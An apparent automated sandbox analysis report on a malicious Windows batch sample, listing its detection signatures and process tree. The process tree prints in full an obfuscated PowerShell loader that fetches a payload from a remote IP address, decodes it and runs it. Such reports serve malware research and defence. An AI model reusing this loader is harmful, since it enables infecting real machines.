Analysis
- max time kernel
147s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
12/06/2024, 01:13
General
- Target 2b1f8cdfc8e9cc3c2cdb2f3c0c65f4266312a1ef90e2ceae5fcf15351625cde3.bat
- Size 6KB
- Sample240612-ble6caxdnp
- SHA256 2b1f8cdfc8e9cc3c2cdb2f3c0c65f4266312a1ef90e2ceae5fcf15351625cde3
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2b1f8cdfc8e9cc3c2cdb2f3c0c65f4266312a1ef90e2ceae5fcf15351625cde3.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Wilfrieds = 1;$Sulkiest='';Function Overcontented($Commentaries){$Crescents=$Commentaries.Length-$Wilfrieds;$Terrorful=$Sulkiest+'Substring';For( $Finskhederne=5;$Finskhederne -lt $Crescents;$Finskhederne+=6){$Dyspathetic+=$Commentaries.$Terrorful.Invoke( $Finskhederne, $Wilfrieds);}$Dyspathetic;}function Arbejdspsykologers($Mournfullest){ . ($Slipstring) ($Mournfullest);}$Hocker=Overcontented ' SignMCyklooBullwzReindi KoralTaktflSnowba Gu l/ G,ne5farm .Feuda0 .tam An to(MiserWMoun,iPolemnFa madHectooTab,kwV lpasJulem AutalN Br tTInspi Bacte1Fari.0An.ep.Tils.0Trstp;afhol venteWuraw i.rblanK,mer6Svane4Atala;,rbej Afli,xBacte6 Micr4Schem;Forhe Isoldrpr unv Azot:C,unt1Raakl2Svovl1.ydaf. Tryk0Samme) ener PhotoGHydroe Fad,c orskDiureo Trv /Corda2Halef0 Prei1Bra.d0Endok0 kond1Lgner0 ecad1,drel WinciFT,opeiRedupr Dar.e Kal.fIcenioAcensxDyrsk/ Sk.l1Quadd2Parce1Snoop. Ager0.chre ';$Udlandene=Overcontented ' Cem.UW rnasTil.eeEnablr Haa,-CawedAF jekgFo haeGivetnPilottTilli ';$Halfcircle=Overcontented 'Sindeh Homot AandtDi,hapKrads:Wiret/Helli/S,lvc1Squil9Thyre4Nappa.unreg5 Hepp9Prope.Anti.3Typ.s1Lejed.Gass.1Fdeva8Frihj7 Fd e/ ecepSLandhafedtemPinsepLy,keaAsphanKnbjneGumlfrMil,esButik.ViliptOilt,oAdviscGenne ';$Splidsedes=Overcontented 'Undta>St,ts ';$Slipstring=Overcontented ' Cathi,ryddeEnkelx Bill ';$Toxosozin='Puissant';$Citrongul = Overcontented 'Schere FlascPantehMynd,oascit Forre%R.spnaKodakpAft.tpFer,yd MyoaaGoitet tri,aEpica% Si,u\ W nvTAnt.ci nonfluninsb Nug,aVe.seg Taske Forhs NdpleSpirin kilodHn,eltBi tae AdolsQ.adr.For,uIGinzonre,endSuper Dr.ft&Cocci& Tilb EftereamyracGr,gahS ismoPa am Cajept Poly ';Arbejdspsykologers (Overcontented ' Wise$Brds,gdrmm lVitrio,elisbudfriaCivillBou.e:GalilEsvarfk FreesEnvaptBdeprr rdstaNondopHelioaAfkolrNytaalTagneeStymim LaanePrehun ac,ot GennaOr.gir,aunei ortosGenerkEgep.=Artfu(UbillcDekadm ProfdSljf Unq.e/FlovscOverd Misad$ giinC .araiGerbotScrapr.aciaoBrystnu,ayugAgurku Ka,yl Pri.)Wa.gt ');Arbejdspsykologers (Overcontented 'Verme$SagkygRrflel Hearo AborbVenskaBarnal Byra: umerCReptioE.ploc P.raaTussle.entarPenc.nBoldneBodybstnker=Forar$ PoseHKatalaCausalSiriofUnexccEla tiMillmr antacUn,erlNidoreEmbat.Cata.sAerugpNa.iolLa.kni ProstKuldk(.sago$SabbaSMacr.pRammelUn.owiOpsigd TostsLactieEatondUndereMistnsBelss)Atom, ');$Halfcircle=$Cocaernes[0];$Oddfellowloges= (Overcontented 'Hal.s$ no agChairlTo,veoUnderb TralaTaleklJiuji:HulskUHermedUndertSe tayF,oggdstandnPrefaiLapiln D.reg TilbeRytminPreen=Brum,N Li,le TruswSub.l-D,bieOPhonobEft.rjBe.obe oelicTripatEtaer GladiSEmul.yHnniks eritHy.roeGigawm Deep.Rd.tjNIn,rreCongrtFldec.indifWFor reSammeb CentC Spe,lMuggsiSvab,eElectnYdelst');$Oddfellowloges+=$Ekstraparlementarisk[1];Arbejdspsykologers ($Oddfellowloges);Arbejdspsykologers (Overcontented 'brodi$ FrokU M ledRenhot S ydyFa ridBlungnMindsiFrihenLa ergSkndseTjen,nRepul.AgterH kavieBir.ha Bayad ouleeCir urB finsChatt[wooli$R.ctoUDist dPhilelG.umba .raknFrifidSubexeM.vesnBogkleStink] Tykm=Indi,$UholdH ivetoCalamcWeekekJenlgeUf.rdr Bran ');$Hatter=Overcontented 'Hippo$ semiUStadsd ,rgetAtom,y ,incdLuteonAngioiAfstvnB,ickgSam.ee Indgn Euk.. SaliDTesseo Dog,wBeraan,edimlSnebooLae.gaAfskydHjemmFStub,iQuaillRiffeewharv(Dis n$ stnHA.oliaOverflLandbfPictocMaungiEditor yldc P,sel ResieSperm,Cav,l$startF FremlVic ri EffinUnexttCl.usbkominsH.numsAfrigeNoebcr UndrnmedhjeRumf.1Afbe 8Atomi6Abild)S,aal ';$Flintbsserne186=$Ekstraparlementarisk[0];Arbejdspsykologers (Overcontented 'Defla$ Sa.mgBist,lPul,aoFan.ib valsaMiddalGalac:De,prtPlnetaUnenslRadiur Un.uiTermig MilieBegejrC.ryse R,ll=Snouc(TopnoTLambae C,insCom,atG,ngl-keatoP re xaPrematReflehAlth Er ve$SkideFRomanl Lan.iVr,stnI.tertDrukkbgoldfs Bu.ss OvereTrad.rLgstrnHjerneBirgi1 Pue 8 Rota6.ayle)t.bat ');while (!$talrigere) {Arbejdspsykologers (Overcontented 'manda$GeneagSt.nil,pihyo Arb bMilehaVenstlMarty: me eL ersko.ntednDildogBindws Ek ah.remkiSkjulpUnhon1.npai8 jol6 eken=Paper$EkspatUldenrFemkauUtidieRatio ') ;Arbejdspsykologers $Hatter;Arbejdspsykologers (Overcontented ' T,emS Sep tUderuaV,jrtrDumpetSpe t- B,faSSerielChampeSankte Kan,pLa,ds Silcr4Dy sp ');Arbejdspsykologers (Overcontented '.ostf$Vove gOmphal MensoCarnibBram.aKn.lllM car:Ha.vatPolitaPronolSynt,r AcetiAalbogfe teeAcculrKomike Cook=Peco.(Ddho THarmwechurcshovedt,ebol-Naia.PTvilla riltthundhLdrei Lamme$ WheeFTinerl AnhuidiakonKbe,ttVe opbTema.sOmrres,aleteHyperr SpagnRigsae .era1Aflbs8 otha6Retic)Snyde ') ;Arbejdspsykologers (Overcontented 'Parad$GrillgFlykklKolero.idigbVandha ClevlAnaly: PorpK LystaOverslSol,oiFilatfOncolf UnpaeEsromrKram,=Wa,ra$Transg.umorlCruddoSangtbGreeiaBlo.sl Expi:HandeABommelPouchmHush,i SukkdDarneaOdi,e+s.ndk+antil% Haar$BaadsCVe eroPulsecDa auaA,zaneFl shrLinagnFalseeAxoplsLan.r.sagescOpposoAn,lyuMussunSnoght Euge ') ;$Halfcircle=$Cocaernes[$Kaliffer];}$Tragedietta=285369;$Handelsgymnasiums=28486;Arbejdspsykologers (Overcontented '.amel$,ulfegpurpulAp,rooTrialbColt a unfrlShoal:Co.meBNedtuiGlamolMagniiVindenM ter Baan=Dmpet EpiteG ,neaeBsesttRel.k-BfsanCUnderoMaskenDi.grtHypereb nehnPerihtBagta Hy,er$JumpiF egnlSamfuibyttenSmaastTr nebMicrosInddrsPre uefirmarTronfn ,orteHagba1Filar8Leuco6Bellu ');Arbejdspsykologers (Overcontented ' delu$A varg NegrlSva moA befb PsykaOber,lUnthr: .uncAT,ntopU uguoRemounUdvi eUn.asuPar,srKnsfooIndehtBricko AdawmErgo eBurki Udvid=gaard Vilje[BlennSRotatySk atsDecartHaande LedemAngst.FiskeCChromo T.ndnZeroiv Berre bordr Tri.topera]Slvtj:,hiti:TetraFmob,lrLivskodyk emTryklBClo daW,bpisPindeeAdene6,rels4 KartS ArmstDecerrRenseiK lminsta,lgDemis(Subdi$Pro eB RelaiPe,tal MisqiEkshinPassa)Sm,gn ');Arbejdspsykologers (Overcontented 'Sphin$Ek.pag,onexlSacraotekstbPelsna Publls,bal:Pr.ncSAstereYtte,a T.arp TachlD,rneaReremnRdspreSnyde ,uske=Fisca Knap[Inv.rSDaubeyScalisTroldtInconesprinmGlas .Ant,cTPotwaeBrsfuxSjlevtproco.LadedEVaaren Ind.c.tenno,vinedSta,fiOccu,nEftergRytmi]Torsk:Culli: BadiAIn.deSproduC semiISt neIBortt.En,enGreheaeForgrt EndoSTiddltUrinrr NowtiSeksunTon mg Ky l( Fran$ DiffAOpfrip ShipoacetonNar.oeUddanu Kaysr Int.oSygemt MagnoL,cofmAnem eagter)Wongs ');Arbejdspsykologers (Overcontented ' B,an$BlendgTizzilvandtoRelatb aperaPondwlRetur:MoronFCrenuoResi.n Mello Ad.ltDipp eTykstkSpilde ForatFasths rneg=femte$RegnsSArbeleZuluda Sgefp Two,lkonsta r.shn Grnse Beko.Mis as AfnauBrillb thoms PenstAzo.orgalniiNussenMand gJuste(Datol$ SiccT awkirStatia NursgMarsheEg rndSvrm.i.imeteChaintArbejtZu.chaUn.al,S att$PistiHTheo,aGar anAgrikdAdkome.quivlSygd.s ennegO.erhyFathomFieuln Drmea M.nos Brevistalku .drem Frucspen,a)Test ');Arbejdspsykologers $Fonotekets;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tilbagesendtes.Ind && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3ndx2m5g.2u4.ps1
memory/3440-2-0x00007FFF66DE3000-0x00007FFF66DE5000-memory.dmp
memory/3440-8-0x00000258B16B0000-0x00000258B16D2000-memory.dmp
memory/3440-13-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp
memory/3440-14-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp
memory/3440-15-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp
memory/3440-16-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp
memory/3440-17-0x00007FFF66DE0000-0x00007FFF678A1000-memory.dmp